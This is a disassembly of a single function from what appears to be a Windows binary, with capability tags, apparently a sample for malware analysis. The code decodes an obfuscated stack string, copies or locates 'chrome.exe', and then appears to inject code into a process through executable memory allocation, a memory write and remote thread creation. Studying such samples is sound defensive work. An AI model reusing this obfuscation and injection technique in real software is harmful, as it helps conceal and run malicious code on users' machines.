Function at 0x180001a90
Capabilities:
Copy file
Get common file path
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x728
mov rax, qword [0x18001e008]
xor rax, rsp
mov qword [rsp + 0x710], rax
mov byte [rsp + 0x64], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x78], 0
mov rax, qword [rsp + 0x738]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x80], 0
mov eax, 0x28d9
mov word [rsp + 0x98], ax
mov eax, 0x28d9
mov word [rsp + 0x9a], ax
mov eax, 0x28c5
mov word [rsp + 0x9c], ax
mov eax, 0x28d3
mov word [rsp + 0x9e], ax
mov eax, 0xa8d7
mov word [rsp + 0xa0], ax
mov eax, 0x28c8
mov word [rsp + 0xa2], ax
mov eax, 0x28cb
mov word [rsp + 0xa4], ax
mov eax, 0xa8e9
mov word [rsp + 0xa6], ax
mov eax, 0x28de
mov word [rsp + 0xa8], ax
mov eax, 0x28d3
mov word [rsp + 0xaa], ax
mov eax, 0xa8e1
mov word [rsp + 0xac], ax
mov eax, 0x290e
mov word [rsp + 0xae], ax
mov eax, 0xa8f3
mov word [rsp + 0xb0], ax
mov eax, 0x2905
mov word [rsp + 0xb2], ax
mov eax, 0x28f9
mov word [rsp + 0xb4], ax
mov eax, 0x290f
mov word [rsp + 0xb6], ax
mov eax, 0xa913
mov word [rsp + 0xb8], ax
mov eax, 0x28ec
mov word [rsp + 0xba], ax
mov eax, 0x28ef
mov word [rsp + 0xbc], ax
mov eax, 0x2923
mov word [rsp + 0xbe], ax
mov eax, 0xa926
mov word [rsp + 0xc0], ax
mov eax, 0xa936
mov word [rsp + 0xc2], ax
mov eax, 0x291b
mov word [rsp + 0xc4], ax
mov eax, 0x2937
mov word [rsp + 0xc6], ax
mov eax, 0xa903
mov word [rsp + 0xc8], ax
mov eax, 0xa93e
mov word [rsp + 0xca], ax
mov eax, 0xa926
mov word [rsp + 0xcc], ax
mov eax, 0x293e
mov word [rsp + 0xce], ax
mov eax, 0xa92d
mov word [rsp + 0xd0], ax
mov eax, 0x2930
mov word [rsp + 0xd2], ax
mov eax, 0x9b6b
mov word [rsp + 0xd4], ax
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x60], 0
jmp 0x180001ca1
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
cmp dword [rsp + 0x68], 0x1f
jae 0x180001d68
mov eax, dword [rsp + 0x68]
movzx eax, word [rsp + rax*2 + 0x98]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x60]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
shl eax, 0xe
mov ecx, dword [rsp + 0x60]
and ecx, 0xffff
shr ecx, 2
or eax, ecx
and eax, 0xffff
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x68]
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
not eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
shl eax, 3
mov ecx, dword [rsp + 0x60]
and ecx, 0xffff
shr ecx, 0xd
or eax, ecx
and eax, 0xffff
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
sub eax, 0xbc1f
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
xor eax, 0xf212
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x68]
movzx ecx, word [rsp + 0x60]
mov word [rsp + rax*2 + 0x98], cx
jmp 0x180001c97
mov r8d, 0x104
lea rdx, [rsp + 0x2f0]
lea rcx, [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
jne 0x180001d8d
jmp 0x180001f12
call fcn.180001850
movzx eax, al
test eax, eax
jne 0x180001e0a
lea rdx, [rsp + 0xe0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
jne 0x180001db5
jmp 0x180001f12
lea r8, str.chrome.exe
mov edx, 0x104
lea rcx, [rsp + 0xe0]
call fcn.180005f04
xor r8d, r8d
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r9, [rsp + 0xe0]
lea r8, str.___s
mov edx, 0x104
lea rcx, [rsp + 0x500]
call fcn.180001210
jmp 0x180001e2b
lea r9, [rsp + 0x2f0]
lea r8, [0x1800e79a0]
mov edx, 0x104
lea rcx, [rsp + 0x500]
call fcn.180001210
lea r8, [rsp + 0x88]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x500]
call fcn.180001440
movzx eax, al
test eax, eax
je 0x180001f0b
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x90]
xor r8d, r8d
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.1800025a0
test eax, eax
jl 0x180001f0b
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x738]
mov r8, qword [rsp + 0x730]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.1800025e0
test eax, eax
jl 0x180001f0b
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x70]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x80]
call fcn.180002620
test eax, eax
jge 0x180001f0d
jmp 0x180001f12
mov byte [rsp + 0x64], 1
cmp qword [rsp + 0x80], 0
je 0x180001f2a
mov rcx, qword [rsp + 0x80]
call fcn.180002660
cmp qword [rsp + 0x88], 0
je 0x180001f42
mov rcx, qword [rsp + 0x88]
call fcn.180002660
cmp qword [rsp + 0x70], 0
je 0x180001f69
movzx eax, byte [rsp + 0x64]
test eax, eax
jne 0x180001f5f
xor edx, edx
mov rcx, qword [rsp + 0x70]
call fcn.1800026a0
mov rcx, qword [rsp + 0x70]
call fcn.180002660
movzx eax, byte [rsp + 0x64]
mov rcx, qword [rsp + 0x710]
xor rcx, rsp
call fcn.180002770
add rsp, 0x728
ret